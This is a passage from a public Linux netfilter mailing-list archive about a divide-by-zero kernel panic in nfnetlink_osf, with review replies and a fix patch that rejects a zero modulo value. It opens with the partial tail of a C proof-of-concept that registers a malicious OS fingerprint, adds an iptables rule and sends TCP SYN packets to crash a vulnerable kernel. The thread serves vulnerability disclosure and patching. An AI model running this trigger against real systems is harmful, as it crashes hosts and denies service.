*)&dest, sizeof(dest)) < 0) {
        perror("sendto(SYN)"); close(sock); return -1;
    }
    close(sock);
    return 0;
}

int main(void)
{
    printf("[*] OSF divide-by-zero PoC\n");
    printf("[*] Bug: net/netfilter/nfnetlink_osf.c nf_osf_match_one()\n");
    printf("[*]   case OSF_WSS_MODULO: ctx->window %% f->wss.val\n");
    printf("[*]   when wss.val=0, this causes a divide-by-zero kernel
panic\n\n");

    /* Step 1: Add malicious OSF fingerprint */
    printf("[*] Step 1: Adding malicious OSF fingerprint (wss.val=0)...\n");
    if (add_osf_fingerprint() < 0) {
        fprintf(stderr, "[-] Fatal: could not add OSF fingerprint
(need root)\n");
        return 1;
    }

    /* Step 2: Add iptables rule to activate OSF matching */
    printf("[*] Step 2: Adding iptables rule to enable OSF matching...\n");
    if (add_iptables_rule() < 0) {
        fprintf(stderr, "[-] Fatal: could not add iptables rule\n");
        return 1;
    }

    /* Step 3: Send matching TCP SYN packets */
    printf("[*] Step 3: Sending TCP SYN packets to trigger
divide-by-zero...\n");
    for (int i = 0; i < 5; i++) {
        printf("[*] SYN %d/5\n", i + 1);
        send_matching_syn();
        usleep(100000);
    }

    printf("[*] Done. Kernel should have crashed if vulnerable.\n");
    return 0;
}
```

I'll submit a v2 patch as a follow-up.

Thanks,
Xiang

On Tue, Apr 14, 2026 at 4:17 AM Pablo Neira Ayuso <pablo@netfilter.org> wrote:
>
> Xiang Mei says:
>
> The OSF_WSS_MODULO branch in nf_osf_match_one() performs:
>
>   ctx->window % f->wss.val
>
> without guarding against f->wss.val == 0.  A user with CAP_NET_ADMIN
> can add an OSF fingerprint with wss.wc = OSF_WSS_MODULO and wss.val = 0
> via nfnetlink.  When a matching TCP SYN packet arrives, the kernel
> executes a division by zero and panics.
>
> The OSF_WSS_PLAIN case already treats val == 0 as a wildcard (match
> everything).  Apply the same semantics to OSF_WSS_MODULO: if val is 0,
> any window value matches rather than dividing by zero.
>
> Crash:
>  Oops: divide error: 0000 [#1] SMP KASAN NOPTI
>  RIP: 0010:nf_osf_match_one (net/netfilter/nfnetlink_osf.c:98)
>  Call Trace:
>  <IRQ>
>   nf_osf_match (net/netfilter/nfnetlink_osf.c:220 (discriminator 6))
>   xt_osf_match_packet (net/netfilter/xt_osf.c:32)
>   ipt_do_table (net/ipv4/netfilter/ip_tables.c:348)
>   nf_hook_slow (net/netfilter/core.c:622 (discriminator 1))
>   ip_local_deliver (net/ipv4/ip_input.c:265)
>   ip_rcv (include/linux/skbuff.h:1162)
>   __netif_receive_skb_one_core (net/core/dev.c:6181)
>   process_backlog (.include/linux/skbuff.h:2502 net/core/dev.c:6642)
>   __napi_poll (net/core/dev.c:7710)
>   net_rx_action (net/core/dev.c:7945)
>   handle_softirqs (kernel/softirq.c:622
>
> Fix this from control plane, reject f->wss.val == 0 if wss.ws is
> OSF_WSS_MODULO.
>
> Fixes: 11eeef41d5f6 ("netfilter: passive OS fingerprint xtables match")
> Reported-by: Xiang Mei <xmei5@asu.edu>
> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
> ---
> Apologies, I don't mean to step on your feet with this patch.
> This just expedites scrutiny before PR submission.
>
>  net/netfilter/nfnetlink_osf.c | 9 +++++++++
>  1 file changed, 9 insertions(+)
>
> diff --git a/net/netfilter/nfnetlink_osf.c b/net/netfilter/nfnetlink_osf.c
> index 5d15651c74f0..bf47a3812910 100644
> --- a/net/netfilter/nfnetlink_osf.c
> +++ b/net/netfilter/nfnetlink_osf.c
> @@ -329,6 +329,15 @@ static int nfnl_osf_add_callback(struct sk_buff *skb,
>                 if (f->opt[i].kind == OSFOPT_MSS && f->opt[i].length < 4)
>                         return -EINVAL;
>
> +               switch (f->wss.wc) {
> +               case OSF_WSS_MODULO:
> +                       if (f->wss.val == 0)
> +                               return -EINVAL;
> +                       break;
> +               default:
> +                       break;
> +               }
> +
>                 tot_opt_len += f->opt[i].length;
>                 if (tot_opt_len > MAX_IPOPTLEN)
>                         return -EINVAL;
> --
> 2.47.3
>

^ permalink raw reply	[flat|nested] 8+ messages in thread

* Re: [PATCH nf] netfilter: nfnetlink_osf: fix divide-by-zero in OSF_WSS_MODULO
  2026-04-14 11:11     ` Florian Westphal
@ 2026-04-14 22:00       ` Xiang Mei
  0 siblings, 0 replies; 8+ messages in thread
From: Xiang Mei @ 2026-04-14 22:00 UTC (permalink / raw)
  To: Florian Westphal
  Cc: Pablo Neira Ayuso, netfilter-devel, Phil Sutter, coreteam,
	Weiming Shi

Sorry for the delayed reply.
Thanks for the suggestion to patch it in the configuration path and
for correcting the fix commit.
v2 would be sent ASAP.

On Tue, Apr 14, 2026 at 4:12 AM Florian Westphal <fw@strlen.de> wrote:
>
> Pablo Neira Ayuso <pablo@netfilter.org> wrote:
> > @@ -329,6 +332,15 @@ static int nfnl_osf_add_callback(struct sk_buff *skb,
> >                 if (f->opt[i].kind == OSFOPT_MSS && f->opt[i].length < 4)
> >                         return -EINVAL;
> >
> > +               switch (f->wss.wc) {
> > +               case OSF_WSS_MODULO:
> > +                       if (f->wss.val == 0)
> > +                               return -EINVAL;
> > +                       break;
> > +               default:
> > +                       break;
> > +               }
> > +
> >                 tot_opt_len += f->opt[i].length;
> >                 if (tot_opt_len > MAX_IPOPTLEN)
> >                         return -EINVAL;
> >
> > If no concerns, I will post a patch.
>
> Thanks Pablo, LGTM.

^ permalink raw reply	[flat|nested] 8+ messages in thread

end of thread, other threads:[~2026-04-14 22:00 UTC | newest]

Thread overview: 8+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-04-10 20:48 [PATCH nf] netfilter: nfnetlink_osf: fix divide-by-zero in OSF_WSS_MODULO Xiang Mei
2026-04-11  7:56 ` Fernando Fernandez Mancera
2026-04-11 20:41 ` Florian Westphal
2026-04-14 11:01   ` Pablo Neira Ayuso
2026-04-14 11:11     ` Florian Westphal
2026-04-14 22:00       ` Xiang Mei
  -- strict thread matches above, loose matches on Subject: below --
2026-04-14 11:17 Pablo Neira Ayuso
2026-04-14 21:58 ` Xiang Mei

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.